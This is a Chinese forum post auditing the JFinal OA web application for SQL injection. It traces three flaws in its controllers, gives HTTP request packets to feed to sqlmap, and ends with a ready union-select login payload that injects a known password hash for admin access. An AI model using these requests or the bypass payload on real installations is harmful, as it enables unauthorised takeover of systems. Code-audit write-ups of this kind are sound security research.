jfinal oa SQL注入漏洞 代码审计

2023-08-09 18:20:50 16 2566


文章写的比较潦草。可能有些地方没有讲到位,各位大佬如果有问题直接发出来。我能解答的话会回复,不能解答的问题就只能问问chatgpt了
1、第一个
源码分析
漏洞代码在:\src\main\java\com\pointlion\mvc\admin\oa\workflow\model\ModelController.java

前端传参name、key这两个参数。
跟进这个WorkFlowUtil.ifHaveThisFlow(key)这个方法。

sql语句直接拼接。
根据jfinalOA全局路由配置:
\src\main\java\com\pointlion\config\routes\OARoutes.java

所以url为:http://localhost:8089/JFinalOA_war/admin/oa/model/save?name=1&key=1
漏洞复现
数据包:
GET /JFinalOA_war/admin/oa/model/save?name=1&key=1 HTTP/1.1
Host: localhost:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://localhost:8089/JFinalOA_war/admin/oa/model/getStartCustomFlowList?action=openPage
Cookie: JSESSIONID=62C98C8DD55F8A78B0B1BE27E08FECCF
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
直接构造的数据包。
丢进sqlmap

2、第二个
源码分析
漏洞代码:\src\main\java\com\pointlion\mvc\admin\sys\dct\SysDctController.java

这两参数都有SQL注入,跟进getPage()方法

直接拼接sql语句。这里存在sql注入
根据路由配置,\src\main\java\com\pointlion\config\routes\SysRoutes.java

可构造出url:http://127.0.0.1:8089/JFinalOA_war/admin/sys/dct/listData?pageNumber=1&pageSize=10&groupId=87cc10818c7645918246a81f33b69036&_=1631700191765
漏洞复现
GET /JFinalOA_war/admin/sys/dct/listData?pageNumber=1&pageSize=10&groupId=87cc10818c7645918246a81f33b69036&_=1631700191765 HTTP/1.1
Host: 127.0.0.1:8089
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Connection: close
Referer: http://127.0.0.1:8089/JFinalOA_war/admin/sys/dct/getListPage
Cookie: JSESSIONID=035591991E4A51DABE0027B1DC8A99BC
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
直接把数据包丢进sqlmap,可以跑出来,就不贴图了。

前面两个都是后台的注入。

3、第三个
源码分析
漏洞代码:\src\main\java\com\pointlion\mvc\mobile\login\MobileLoginController.java
\src\main\java\com\pointlion\mvc\admin\sys\login\LoginController.java
这两处代码都是有注入的,一个手机端的登录,一个是pc端的登录。手机端登录可能是没有写完,没有前台页面,没有验证码,可以直接丢进sqlmap。
1、手机端
首先先看手机端的代码,MobileLoginController.java

传入两个参数,跟进这个方法,

直接拼接sql,造成sql注入。
2、PC端
LoginController.java

可以看出这里是使用的shiro,看看shiro的数据操作。
根据shiro配置文件,可以看到是这个Java文件


跟进这个getByUsername()方法

直接拼接sql语句,造成SQL注入。但这里有验证码。所以不能使用sqlmap了。
只能手工测试。或者使用直接构造sql语句登录

从源码中可以看到,使用的是加密字符写入数据库,写一个测试的类,类获取一个加密的密码。

这样得到123456的加密密文:
$shiro1$SHA-256$500000$6um7T4JKLhMr73ggHlSK8Q==$tcE8OITITM/q8MTLjSVXi8QN49OLs21ngdcBPlb4rOc=
漏洞复现
1、手机端
根据源码构造请求url:http://127.0.0.1:8089/JFinalOA_war/mobile/login/doLogin?username=admin&password=asdf
把这个url直接丢进sqlmap
2、PC端
url:http://127.0.0.1:8089/JFinalOA_war/
由于有验证码,所以换一种思路,我直接更改管理员的密码。
使用poc:
wocaonima' union select '7ac6e4c544634e179f78803d5ba2d0ca', 'admin', '$shiro1$SHA-256$500000$6um7T4JKLhMr73ggHlSK8Q==$tcE8OITITM/q8MTLjSVXi8QN49OLs21ngdcBPlb4rOc=', 'wocao13', '1', '1', '68b2bb2026e54c5186f75a05156abb0f', '', '[email protected]', '123123123123131', '0', 1, '18888888888', '', '1', '2018-10-10', '2018-10-10', '-69', '', NULL, NULL, NULL, NULL, NULL, 'NULL
使用这个用户名,密码为123456
可直接登录系统,录可能报500,然后再次访问http://127.0.0.1:8089/JFinalOA_war/就是登录状态了。

很简单的注入,在代码中非常容易发现。这个oa好像没人再用
源码在这
https://gitee.com/glorylion/JFinalOA

TCV:0

关于作者

fengx10篇文章258篇回复

评论16次

要评论?请先  登录  或  注册